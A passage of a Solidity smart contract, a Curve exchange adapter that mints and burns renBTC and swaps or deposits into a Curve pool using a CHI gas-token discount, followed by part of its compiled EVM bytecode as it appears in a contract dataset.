return (owner == ecrecover(hash, sigV, sigR, sigS));
}
/**
* Internal utility function used to convert an int to string.
* @param _i integer to be converted into a string
*/
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
uint256 temp = _i;
while (temp != 0) {
bstr[k--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(bstr);
}
function msgSender() internal view returns(address sender) {
if(msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
} else {
sender = msg.sender;
}
return sender;
}
// To recieve ether in contract
receive() external payable { }
fallback() external payable { }
}
// File: browser/dex-adapter-simple.sol
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint256 balance);
}
interface IGateway {
function mint(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes calldata _sig) external returns (uint256);
function burn(bytes calldata _to, uint256 _amount) external returns (uint256);
}
interface IGatewayRegistry {
function getGatewayBySymbol(string calldata _tokenSymbol) external view returns (IGateway);
function getGatewayByToken(address _tokenAddress) external view returns (IGateway);
function getTokenBySymbol(string calldata _tokenSymbol) external view returns (IERC20);
}
interface ICurveExchange {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
function get_dy(int128, int128 j, uint256 dx) external view returns (uint256);
function calc_token_amount(uint256[3] calldata amounts, bool deposit) external returns (uint256 amount);
function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external;
function remove_liquidity(
uint256 _amount,
uint256[3] calldata min_amounts
) external;
function remove_liquidity_imbalance(uint256[3] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(uint256 _token_amounts, int128 i, uint256 min_amount) external;
}
interface IFreeFromUpTo {
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
contract CurveExchangeAdapterSBTC is BasicMetaTransaction {
using SafeMath for uint256;
IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c);
modifier discountCHI {
uint256 gasStart = gasleft();
_;
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 *
msg.data.length;
if(chi.balanceOf(address(this)) > 0) {
chi.freeFromUpTo(address(this), (gasSpent + 14154) / 41947);
}
else {
chi.freeFromUpTo(msg.sender, (gasSpent + 14154) / 41947);
}
}
uint256 constant N_COINS = 3;
//first coin always is renBTC
IERC20[N_COINS] coins;
uint256[N_COINS] precisions_normalized = [1,1,1e10];
IERC20 curveToken;
ICurveExchange public exchange;
IGatewayRegistry public registry;
event SwapReceived(uint256 mintedAmount, uint256 erc20BTCAmount, int128 j);
event DepositMintedCurve(uint256 mintedAmount, uint256 curveAmount, uint256[N_COINS] amounts);
event ReceiveRen(uint256 renAmount);
event Burn(uint256 burnAmount);
constructor(ICurveExchange _exchange, address _curveTokenAddress, IGatewayRegistry _registry, IERC20[N_COINS] memory _coins) public {
exchange = _exchange;
registry = _registry;
curveToken = IERC20(_curveTokenAddress);
for(uint256 i = 0; i < N_COINS; i++) {
coins[i] = _coins[i];
require(coins[i].approve(address(exchange), uint256(-1)));
}
require(chi.approve(address(this), uint256(-1)));
}
function recoverStuck(
bytes calldata encoded,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external {
uint256 start = encoded.length - 32;
address sender = abi.decode(encoded[start:], (address));
require(sender == msg.sender);
bytes32 pHash = keccak256(encoded);
uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
require(coins[0].transfer(msg.sender, mintedAmount));
}
function mintThenSwap(
uint256 _minExchangeRate,
uint256 _newMinExchangeRate,
uint256 _slippage,
int128 _j,
address payable _coinDestination,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external discountCHI {
//params is [_minExchangeRate, _slippage, _i, _j]
//fail early so not to spend much gas?
//require(_i <= 2 && _j <= 2 && _i != _j);
// Mint renBTC tokens
bytes32 pHash = keccak256(abi.encode(_minExchangeRate, _slippage, _j, _coinDestination, msg.sender));
uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
// Get price
// compare if the exchange rate now * slippage in BPS is what user submitted as
uint256 dy = exchange.get_dy(0, _j, mintedAmount);
uint256 rate = dy.mul(1e8).div(precisions_normalized[uint256(_j)]).div(mintedAmount);
_slippage = uint256(1e4).sub(_slippage);
uint256 min_dy = dy.mul(_slippage).div(1e4);
// Price is OK
if (rate >= _newMinExchangeRate) {
require(_j != 0);
doSwap(_j, mintedAmount, min_dy, _coinDestination);
} else {
//Send renBTC to the User instead
require(coins[0].transfer(_coinDestination, mintedAmount));
emit ReceiveRen(mintedAmount);
}
}
function doSwap(int128 _j, uint256 _mintedAmount, uint256 _min_dy, address payable _coinDestination) internal {
uint256 startBalance = coins[uint256(_j)].balanceOf(address(this));
exchange.exchange(0, _j, _mintedAmount, _min_dy);
uint256 endBalance = coins[uint256(_j)].balanceOf(address(this));
uint256 bought = endBalance.sub(startBalance);
//Send proceeds to the User
require(coins[uint256(_j)].transfer(_coinDestination, bought));
emit SwapReceived(_mintedAmount, bought, _j);
}
function mintThenDeposit(
address payable _wbtcDestination,
uint256 _amount,
uint256[N_COINS] calldata _amounts,
uint256 _min_mint_amount,
uint256 _new_min_mint_amount,
bytes32 _nHash,
bytes calldata _sig
) external discountCHI {
// Mint renBTC tokens
bytes32 pHash = keccak256(abi.encode(_wbtcDestination, _amounts, _min_mint_amount, msg.sender));
//use actual _amount the user sent
uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
//set renBTC to actual minted amount in case the user sent less BTC to Ren
uint256[N_COINS] memory receivedAmounts = _amounts;
receivedAmounts[0] = mintedAmount;
for(uint256 i = 1; i < N_COINS; i++) {
receivedAmounts[i] = _amounts[i];
}
if(exchange.calc_token_amount(_amounts, true) >= _new_min_mint_amount) {
doDeposit(receivedAmounts, mintedAmount, _new_min_mint_amount, _wbtcDestination);
}
else {
require(coins[0].transfer(_wbtcDestination, mintedAmount));
emit ReceiveRen(mintedAmount);
}
}
function doDeposit(uint256[N_COINS] memory receivedAmounts, uint256 mintedAmount, uint256 _new_min_mint_amount, address _wbtcDestination) internal {
for(uint256 i = 1; i < N_COINS; i++) {
if(receivedAmounts[i] > 0) {
require(coins[i].transferFrom(msg.sender, address(this), receivedAmounts[i]));
}
}
uint256 curveBalanceBefore = curveToken.balanceOf(address(this));
exchange.add_liquidity(receivedAmounts, 0);
uint256 curveBalanceAfter = curveToken.balanceOf(address(this));
uint256 curveAmount = curveBalanceAfter.sub(curveBalanceBefore);
require(curveAmount >= _new_min_mint_amount);
require(curveToken.transfer(_wbtcDestination, curveAmount));
emit DepositMintedCurve(mintedAmount, curveAmount, receivedAmounts);
}
function mintNoSwap(
uint256 _minExchangeRate,
uint256 _newMinExchangeRate,
uint256 _slippage,
int128 _j,
address payable _wbtcDestination,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external discountCHI {
bytes32 pHash = keccak256(abi.encode(_minExchangeRate, _slippage, _j, _wbtcDestination, msg.sender));
uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
require(coins[0].transfer(_wbtcDestination, mintedAmount));
emit ReceiveRen(mintedAmount);
}
function mintNoDeposit(
address payable _wbtcDestination,
uint256 _amount,
uint256[N_COINS] calldata _amounts,
uint256 _min_mint_amount,
uint256 _new_min_mint_amount,
bytes32 _nHash,
bytes calldata _sig
) external discountCHI {
// Mint renBTC tokens
bytes32 pHash = keccak256(abi.encode(_wbtcDestination, _amounts, _min_mint_amount, msg.sender));
//use actual _amount the user sent
uint256 mintedAmount = registry.getGatewayBySymbol("BTC").mint(pHash, _amount, _nHash, _sig);
require(coins[0].transfer(_wbtcDestination, mintedAmount));
emit ReceiveRen(mintedAmount);
}
function removeLiquidityThenBurn(bytes calldata _btcDestination, address _coinDestination, uint256 amount, uint256[N_COINS] calldata min_amounts) external discountCHI {
uint256[N_COINS] memory balances;
for(uint256 i = 0; i < coins.length; i++) {
balances[i] = coins[i].balanceOf(address(this));
}
require(curveToken.transferFrom(msg.sender, address(this), amount));
exchange.remove_liquidity(amount, min_amounts);
for(uint256 i = 0; i < coins.length; i++) {
balances[i] = coins[i].balanceOf(address(this)).sub(balances[i]);
if(i == 0) continue;
require(coins[i].transfer(_coinDestination, balances[i]));
}
// Burn and send proceeds to the User
uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, balances[0]);
emit Burn(burnAmount);
}
function removeLiquidityImbalanceThenBurn(bytes calldata _btcDestination, address _coinDestination, uint256[N_COINS] calldata amounts, uint256 max_burn_amount) external discountCHI {
uint256[N_COINS] memory balances;
for(uint256 i = 0; i < coins.length; i++) {
balances[i] = coins[i].balanceOf(address(this));
}
uint256 _tokens = curveToken.balanceOf(msg.sender);
if(_tokens > max_burn_amount) {
_tokens = max_burn_amount;
}
require(curveToken.transferFrom(msg.sender, address(this), _tokens));
exchange.remove_liquidity_imbalance(amounts, max_burn_amount.mul(101).div(100));
_tokens = curveToken.balanceOf(address(this));
require(curveToken.transfer(_coinDestination, _tokens));
for(uint256 i = 0; i < coins.length; i++) {
balances[i] = coins[i].balanceOf(address(this)).sub(balances[i]);
if(i == 0) continue;
require(coins[i].transfer(_coinDestination, balances[i]));
}
// Burn and send proceeds to the User
uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, balances[0]);
emit Burn(burnAmount);
}
//always removing in renBTC, else use normal method
function removeLiquidityOneCoinThenBurn(bytes calldata _btcDestination, uint256 _token_amounts, uint256 min_amount, uint8 _i) external discountCHI {
uint256 startRenbtcBalance = coins[0].balanceOf(address(this));
require(curveToken.transferFrom(msg.sender, address(this), _token_amounts));
exchange.remove_liquidity_one_coin(_token_amounts, _i, min_amount);
uint256 endRenbtcBalance = coins[0].balanceOf(address(this));
uint256 renbtcWithdrawn = endRenbtcBalance.sub(startRenbtcBalance);
// Burn and send proceeds to the User
uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, renbtcWithdrawn);
emit Burn(burnAmount);
}
function swapThenBurn(bytes calldata _btcDestination, uint256 _amount, uint256 _minRenbtcAmount, uint8 _i) external discountCHI {
require(coins[_i].transferFrom(msg.sender, address(this), _amount));
uint256 startRenbtcBalance = coins[0].balanceOf(address(this));
exchange.exchange(_i, 0, _amount, _minRenbtcAmount);
uint256 endRenbtcBalance = coins[0].balanceOf(address(this));
uint256 renbtcBought = endRenbtcBalance.sub(startRenbtcBalance);
// Burn and send proceeds to the User
uint256 burnAmount = registry.getGatewayBySymbol("BTC").burn(_btcDestination, renbtcBought);
emit Burn(burnAmount);
}
} | 0x6080604052600436106100f75760003560e01c80636242f49e1161008a578063afd1fe0311610059578063afd1fe0314610318578063c92aecc414610341578063d039fca11461036c578063d2f7265a1461039c576100fe565b80636242f49e1461025e5780637b10399914610287578063a318f9de146102b2578063a461e5fa146102db576100fe565b80632d0335ab116100c65780632d0335ab146101a45780633c78b244146101e1578063564b81ef1461020a5780635c72f61614610235576100fe565b80630bfe8b921461010057806318274dd6146101295780631ad8e63614610152578063293491161461017b576100fe565b366100fe57005b005b34801561010c57600080fd5b5061012760048036036101229190810190614d0e565b6103c7565b005b34801561013557600080fd5b50610150600480360361014b9190810190614c0e565b610674565b005b34801561015e57600080fd5b5061017960048036036101749190810190614da9565b611084565b005b34801561018757600080fd5b506101a2600480360361019d9190810190614e7b565b611702565b005b3480156101b057600080fd5b506101cb60048036036101c6919081019061490f565b611d05565b6040516101d89190615745565b60405180910390f35b3480156101ed57600080fd5b5061020860048036036102039190810190614e7b565b611d4d565b005b34801561021657600080fd5b5061021f6121dd565b60405161022c9190615745565b60405180910390f35b34801561024157600080fd5b5061025c60048036036102579190810190614c8e565b6121ea565b005b34801561026a57600080fd5b5061028560048036036102809190810190614961565b6129b3565b005b34801561029357600080fd5b5061029c612e40565b6040516102a9919061564e565b60405180910390f35b3480156102be57600080fd5b506102d960048036036102d49190810190614961565b612e66565b005b3480156102e757600080fd5b5061030260048036036102fd9190810190614b03565b613459565b60405161030f9190615516565b60405180910390f35b34801561032457600080fd5b5061033f600480360361033a9190810190614da9565b613534565b005b34801561034d57600080fd5b50610356613ba0565b6040516103639190615633565b60405180910390f35b61038660048036036103819190810190614a1d565b613bb2565b60405161039391906155f6565b60405180910390f35b3480156103a857600080fd5b506103b1613df8565b6040516103be9190615618565b60405180910390f35b6000602087879050039050600087878381808211156103e557600080fd5b828111156103f257600080fd5b60018202840193508181039250505061040e9190810190614938565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461044857600080fd5b6000888860405161045a9291906152d3565b604051809103902090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004016104bf90615725565b60206040518083038186803b1580156104d757600080fd5b505afa1580156104eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061050f9190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff1663159ab14d838a8a8a8a6040518663ffffffff1660e01b815260040161054f959493929190615531565b602060405180830381600087803b15801561056957600080fd5b505af115801561057d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506105a19190810190614e52565b905060016000600381106105b157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161060d92919061540b565b602060405180830381600087803b15801561062757600080fd5b505af115801561063b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061065f9190810190614be5565b61066857600080fd5b50505050505050505050565b60005a9050610681614720565b60008090505b6003811015610769576001816003811061069d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106f79190615374565b60206040518083038186803b15801561070f57600080fd5b505afa158015610723573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506107479190810190614e52565b82826003811061075357fe5b6020020181815250508080600101915050610687565b506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b81526004016107c79190615374565b60206040518083038186803b1580156107df57600080fd5b505afa1580156107f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506108179190810190614e52565b905083811115610825578390505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016108849392919061538f565b602060405180830381600087803b15801561089e57600080fd5b505af11580156108b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506108d69190810190614be5565b6108df57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fdaea0c86610945606461093760658a613e1e90919063ffffffff16565b613e4b90919063ffffffff16565b6040518363ffffffff1660e01b81526004016109629291906154c4565b600060405180830381600087803b15801561097c57600080fd5b505af1158015610990573d6000803e3d6000fd5b50505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109ef9190615374565b60206040518083038186803b158015610a0757600080fd5b505afa158015610a1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a3f9190810190614e52565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b8152600401610a9e929190615472565b602060405180830381600087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610af09190810190614be5565b610af957600080fd5b60008090505b6003811015610ce657610be1838260038110610b1757fe5b602002015160018360038110610b2957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b839190615374565b60206040518083038186803b158015610b9b57600080fd5b505afa158015610baf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bd39190810190614e52565b613e6b90919063ffffffff16565b838260038110610bed57fe5b6020020181815250506000811415610c0457610cd9565b60018160038110610c1157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb88858460038110610c5b57fe5b60200201516040518363ffffffff1660e01b8152600401610c7d929190615472565b602060405180830381600087803b158015610c9757600080fd5b505af1158015610cab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ccf9190810190614be5565b610cd857600080fd5b5b8080600101915050610aff565b506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b8152600401610d4290615725565b60206040518083038186803b158015610d5a57600080fd5b505afa158015610d6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610d929190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff166338463cff8a8a86600060038110610dbc57fe5b60200201516040518463ffffffff1660e01b8152600401610ddf939291906155c4565b602060405180830381600087803b158015610df957600080fd5b505af1158015610e0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610e319190810190614e52565b90507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb81604051610e629190615745565b60405180910390a15050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610ec99190615374565b60206040518083038186803b158015610ee157600080fd5b505afa158015610ef5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f199190810190614e52565b1115610fcf576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a850181610f5957fe5b046040518363ffffffff1660e01b8152600401610f7792919061540b565b602060405180830381600087803b158015610f9157600080fd5b505af1158015610fa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610fc99190810190614e52565b5061107b565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a85018161100957fe5b046040518363ffffffff1660e01b815260040161102792919061540b565b602060405180830381600087803b15801561104157600080fd5b505af1158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506110799190810190614e52565b505b50505050505050565b60005a905060018260ff166003811061109957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330876040518463ffffffff1660e01b81526004016110f79392919061538f565b602060405180830381600087803b15801561111157600080fd5b505af1158015611125573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111499190810190614be5565b61115257600080fd5b6000600160006003811061116257fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016111bc9190615374565b60206040518083038186803b1580156111d457600080fd5b505afa1580156111e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061120c9190810190614e52565b9050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633df0212484600088886040518563ffffffff1660e01b81526004016112709493929190615881565b600060405180830381600087803b15801561128a57600080fd5b505af115801561129e573d6000803e3d6000fd5b50505050600060016000600381106112b257fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161130c9190615374565b60206040518083038186803b15801561132457600080fd5b505afa158015611338573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061135c9190810190614e52565b905060006113738383613e6b90919063ffffffff16565b90506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b81526004016113d090615725565b60206040518083038186803b1580156113e857600080fd5b505afa1580156113fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506114209190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff166338463cff8b8b856040518463ffffffff1660e01b815260040161145c939291906155c4565b602060405180830381600087803b15801561147657600080fd5b505af115801561148a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506114ae9190810190614e52565b90507fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040516114df9190615745565b60405180910390a1505050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016115479190615374565b60206040518083038186803b15801561155f57600080fd5b505afa158015611573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506115979190810190614e52565b111561164d576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a8501816115d757fe5b046040518363ffffffff1660e01b81526004016115f592919061540b565b602060405180830381600087803b15801561160f57600080fd5b505af1158015611623573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506116479190810190614e52565b506116f9565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a85018161168757fe5b046040518363ffffffff1660e01b81526004016116a592919061540b565b602060405180830381600087803b1580156116bf57600080fd5b505af11580156116d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506116f79190810190614e52565b505b50505050505050565b60005a905060008a898989336040516020016117229594939291906157f7565b6040516020818303038152906040528051906020012090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b815260040161179590615725565b60206040518083038186803b1580156117ad57600080fd5b505afa1580156117c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506117e59190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff1663159ab14d83898989896040518663ffffffff1660e01b8152600401611825959493929190615531565b602060405180830381600087803b15801561183f57600080fd5b505af1158015611853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506118779190810190614e52565b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635e0d443f60008c856040518463ffffffff1660e01b81526004016118db93929190615669565b60206040518083038186803b1580156118f357600080fd5b505afa158015611907573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061192b9190810190614e52565b9050600061197b8361196d60048e600f0b6003811061194657fe5b015461195f6305f5e10087613e1e90919063ffffffff16565b613e4b90919063ffffffff16565b613e4b90919063ffffffff16565b90506119928c612710613e6b90919063ffffffff16565b9b5060006119bd6127106119af8f86613e1e90919063ffffffff16565b613e4b90919063ffffffff16565b90508d82106119e85760008c600f0b14156119d757600080fd5b6119e38c85838e613e85565b611ae5565b60016000600381106119f657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8c866040518363ffffffff1660e01b8152600401611a5292919061540b565b602060405180830381600087803b158015611a6c57600080fd5b505af1158015611a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611aa49190810190614be5565b611aad57600080fd5b7f168094234a7c53f3434b5ac1936fa7bdc59f28ea7f93bda1f79272fdf0537e5a84604051611adc9190615745565b60405180910390a15b50505050506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611b469190615374565b60206040518083038186803b158015611b5e57600080fd5b505afa158015611b72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611b969190810190614e52565b1115611c4c576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a850181611bd657fe5b046040518363ffffffff1660e01b8152600401611bf492919061540b565b602060405180830381600087803b158015611c0e57600080fd5b505af1158015611c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c469190810190614e52565b50611cf8565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a850181611c8657fe5b046040518363ffffffff1660e01b8152600401611ca492919061540b565b602060405180830381600087803b158015611cbe57600080fd5b505af1158015611cd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611cf69190810190614e52565b505b5050505050505050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005a905060008a89898933604051602001611d6d9594939291906157f7565b6040516020818303038152906040528051906020012090506000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364936b1e6040518163ffffffff1660e01b8152600401611de090615725565b60206040518083038186803b158015611df857600080fd5b505afa158015611e0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e309190810190614e29565b73ffffffffffffffffffffffffffffffffffffffff1663159ab14d83898989896040518663ffffffff1660e01b8152600401611e70959493929190615531565b602060405180830381600087803b158015611e8a57600080fd5b505af1158015611e9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611ec29190810190614e52565b90506001600060038110611ed257fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb89836040518363ffffffff1660e01b8152600401611f2e92919061540b565b602060405180830381600087803b158015611f4857600080fd5b505af1158015611f5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611f809190810190614be5565b611f8957600080fd5b7f168094234a7c53f3434b5ac1936fa7bdc59f28ea7f93bda1f79272fdf0537e5a81604051611fb89190615745565b60405180910390a150506000803690506010025a83615208010301905060006d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161201e9190615374565b60206040518083038186803b15801561203657600080fd5b505afa15801561204a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061206e9190810190614e52565b1115612124576d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3061a3db61374a8501816120ae57fe5b046040518363ffffffff1660e01b81526004016120cc92919061540b565b602060405180830381600087803b1580156120e657600080fd5b505af11580156120fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061211e9190810190614e52565b506121d0565b6d4946c0e9f43f4dee607b0ef1fa1c73ffffffffffffffffffffffffffffffffffffffff1663079d229f3361a3db61374a85018161215e57fe5b046040518363ffffffff1660e01b815260040161217c92919061540b565b602060405180830381600087803b15801561219657600080fd5b505af11580156121aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506121ce9190810190614e52565b505b5050505050505050505050565b6000804690508091505090565b60005a90506121f7614720565b60008090505b60038110156122df576001816003811061221357fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161226d9190615374565b60206040518083038186803b15801561228557600080fd5b505afa158015612299573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506122bd9190810190614e52565b8282600381106122c957fe5b60200201818152505080806001019150506121fd565b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330876040518463ffffffff1660e01b815260040161233f9392919061538f565b602060405180830381600087803b15801561235957600080fd5b505af115801561236d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506123919190810190614be5565b61239a57600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ecb586a585856040518363ffffffff1660e01b81526004016123f7929190615760565b600060405180830381600087803b15801561241157600080fd5b505af1158015612425573d6000803e3d6000fd5b5050505060008090505b60038110156126165761251182826003811061244757fe5b60200201516001836003811061245957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016124b39190615374565b60206040518083038186803b1580156124cb57600080fd5b505afa1580156124df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506125039190810190614e52565b613e6b90919063ffffffff16565b82826003811061251d57fe5b602002018181525050600081141561253457612609565b6001816003811061254157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8784846003811061258b57fe5b60200201516040518363ffffffff1660e01b81526004016125ad929190615472565b602060405180830381600087803b1580156125c7